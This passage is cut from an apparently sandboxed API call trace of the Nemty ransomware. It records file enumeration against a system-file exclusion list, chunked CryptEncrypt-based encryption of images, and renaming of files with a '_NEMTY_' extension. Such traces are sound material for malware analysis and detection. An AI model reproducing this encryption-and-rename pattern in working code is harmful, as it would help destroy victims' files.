lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0116.409] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0116.409] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0116.409] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6343fe8 [0116.409] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x6344090 [0116.409] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0116.409] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0116.409] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\flower_h.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\flower_h.png"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\flower_h.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\flower_h.png._nemty_kgobjgd_")) returned 0 [0116.409] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6344090 | out: hHeap=0x4f90000) returned 1 [0116.410] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63404a0 | out: hHeap=0x4f90000) returned 1 [0116.410] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0116.410] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340330 | out: hHeap=0x4f90000) returned 1 [0116.410] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0116.410] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0116.410] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0116.410] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401e0 | out: hHeap=0x4f90000) returned 1 [0116.410] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x829b9586, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x829b9586, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x287c138f, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x1b7, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="flower_m.png", cAlternateFileName="")) returned 1 [0116.410] lstrcmpiW (lpString1="flower_m.png", lpString2=".") returned 1 [0116.410] lstrcmpiW (lpString1="flower_m.png", lpString2="..") returned 1 [0116.410] lstrcmpiW (lpString1="flower_m.png", lpString2="...") returned 1 [0116.410] lstrcmpiW (lpString1="flower_m.png", lpString2="windows") returned -1 [0116.410] lstrcmpiW (lpString1="flower_m.png", lpString2="$RECYCLE.BIN") returned 1 [0116.410] lstrcmpiW (lpString1="flower_m.png", lpString2="rsa") returned -1 [0116.410] lstrcmpiW (lpString1="flower_m.png", lpString2="NTDETECT.COM") returned -1 [0116.410] lstrcmpiW (lpString1="flower_m.png", lpString2="ntldr") returned -1 [0116.410] lstrcmpiW (lpString1="flower_m.png", lpString2="MSDOS.SYS") returned -1 [0116.410] lstrcmpiW (lpString1="flower_m.png", lpString2="IO.SYS") returned -1 [0116.410] lstrcmpiW (lpString1="flower_m.png", lpString2="boot.ini") returned 1 [0116.410] lstrcmpiW (lpString1="flower_m.png", lpString2="boot.ini") returned 1 [0116.410] lstrcmpiW (lpString1="flower_m.png", lpString2="AUTOEXEC.BAT") returned 1 [0116.410] lstrcmpiW (lpString1="flower_m.png", lpString2="ntuser.dat") returned -1 [0116.410] lstrcmpiW (lpString1="flower_m.png", lpString2="desktop.ini") returned 1 [0116.410] lstrcmpiW (lpString1="flower_m.png", lpString2="CONFIG.SYS") returned 1 [0116.410] lstrcmpiW (lpString1="flower_m.png", lpString2="RECYCLER") returned -1 [0116.410] lstrcmpiW (lpString1="flower_m.png", lpString2="BOOTSECT.BAK") returned 1 [0116.410] lstrcmpiW (lpString1="flower_m.png", lpString2="bootmgr") returned 1 [0116.410] lstrcmpiW (lpString1="flower_m.png", lpString2="programdata") returned -1 [0116.410] lstrcmpiW (lpString1="flower_m.png", lpString2="appdata") returned 1 [0116.410] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0116.410] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="flower_m.png", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0116.410] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="flower_m.png", cchWideChar=12, lpMultiByteStr=0x653ebd0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="flower_m.png", lpUsedDefaultChar=0x0) returned 12 [0116.410] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0116.410] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="flower_m.png", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0116.410] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="flower_m.png", cchWideChar=12, lpMultiByteStr=0x653ebd0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="flower_m.png", lpUsedDefaultChar=0x0) returned 12 [0116.410] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0116.411] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0116.411] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0116.411] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="flower_m.png", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0116.411] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="flower_m.png", cchWideChar=12, lpMultiByteStr=0x653ec20, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="flower_m.png", lpUsedDefaultChar=0x0) returned 12 [0116.411] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0116.411] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0116.411] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="flower_m.png", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0116.411] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="flower_m.png", cchWideChar=12, lpMultiByteStr=0x653ec58, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="flower_m.png", lpUsedDefaultChar=0x0) returned 12 [0116.411] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0116.411] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x63401e0 [0116.411] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340288 | out: hHeap=0x4f90000) returned 1 [0116.411] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340288 [0116.411] Sleep (dwMilliseconds=0x5) [0116.422] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xf909fa50, dwHighDateTime=0x1d561e7)) [0116.422] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xf909fa50, dwHighDateTime=0x1d561e7)) [0116.423] GetLastError () returned 0x5 [0116.423] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0116.423] GetLastError () returned 0x5 [0116.423] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0116.423] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0116.423] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0116.423] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0116.423] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0116.423] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0116.423] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340330 [0116.423] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6340330, pcchString=0x653e91c | out: pszString="GPfkEoIiEbYbXcwvujXr0l0dlGWxd1GMUdyurLfmkMASy9fFNXAVzuUWHatloFJn\r\nCQFn6Je8VhSunnuiicISiPqw/IsJsyM+np61FNZJyiMZ1mO4Dp7aamdvSTkF+un9\r\nz8Tkellrcb/KGbQrTcJhwRP9dGtmV3DigCn5OaD6Un10Jsnz39XCZXjl2vb0w8OE\r\nM+u6k2coQHB/w5kYBgMhtpgkt+w4hsocldh7zTuEiTX7pQFIW56KwahIST6X70Er\r\nO3+8eLASm9/+0Jc3Q1Z8lGL/s1hHFYX7yHgMptq49gGnn1bVbYBiYlB13zo6S2On\r\n4boghErPtNU/DQpu675thQ==\r\n", pcchString=0x653e91c) returned 1 [0116.423] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0116.423] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340330 | out: hHeap=0x4f90000) returned 1 [0116.423] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0116.423] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0116.423] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340330 [0116.423] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0116.423] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\flower_m.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\flower_m.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0116.424] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0116.424] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0116.424] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0116.424] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0116.433] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0116.433] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0116.433] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0116.433] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0116.443] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0116.443] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0116.443] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0116.443] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0116.459] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0116.459] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0116.459] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0116.460] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0116.469] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0116.469] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0116.469] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0116.469] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0116.478] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0116.478] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0116.478] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0116.478] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0116.488] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0116.488] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0116.488] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0116.488] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0116.497] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0116.497] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0116.497] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0116.497] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0116.507] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0116.507] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0116.507] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0116.507] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0116.516] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0116.516] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0116.516] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0116.516] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0116.526] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0116.526] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0116.526] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0116.526] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0116.532] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0116.532] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0116.532] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0116.532] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0116.538] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0116.538] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0116.538] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0116.538] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340330, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0116.538] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0116.538] CloseHandle (hObject=0xffffffff) returned 0 [0116.538] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x63404a0 [0116.538] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0116.538] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0116.538] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0116.538] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0116.538] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0116.538] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6343fe8 [0116.538] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x6344090 [0116.538] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0116.539] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0116.539] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\flower_m.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\flower_m.png"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\flower_m.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\flower_m.png._nemty_kgobjgd_")) returned 0 [0116.539] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6344090 | out: hHeap=0x4f90000) returned 1 [0116.539] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63404a0 | out: hHeap=0x4f90000) returned 1 [0116.539] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0116.539] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340330 | out: hHeap=0x4f90000) returned 1 [0116.539] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0116.539] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0116.539] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0116.539] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340288 | out: hHeap=0x4f90000) returned 1 [0116.539] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x829b9586, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x829b9586, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x287c138f, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xc14, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="flower_s.png", cAlternateFileName="")) returned 1 [0116.539] lstrcmpiW (lpString1="flower_s.png", lpString2=".") returned 1 [0116.539] lstrcmpiW (lpString1="flower_s.png", lpString2="..") returned 1 [0116.539] lstrcmpiW (lpString1="flower_s.png", lpString2="...") returned 1 [0116.539] lstrcmpiW (lpString1="flower_s.png", lpString2="windows") returned -1 [0116.539] lstrcmpiW (lpString1="flower_s.png", lpString2="$RECYCLE.BIN") returned 1 [0116.539] lstrcmpiW (lpString1="flower_s.png", lpString2="rsa") returned -1 [0116.539] lstrcmpiW (lpString1="flower_s.png", lpString2="NTDETECT.COM") returned -1 [0116.539] lstrcmpiW (lpString1="flower_s.png", lpString2="ntldr") returned -1 [0116.539] lstrcmpiW (lpString1="flower_s.png", lpString2="MSDOS.SYS") returned -1 [0116.539] lstrcmpiW (lpString1="flower_s.png", lpString2="IO.SYS") returned -1 [0116.539] lstrcmpiW (lpString1="flower_s.png", lpString2="boot.ini") returned 1 [0116.539] lstrcmpiW (lpString1="flower_s.png", lpString2="boot.ini") 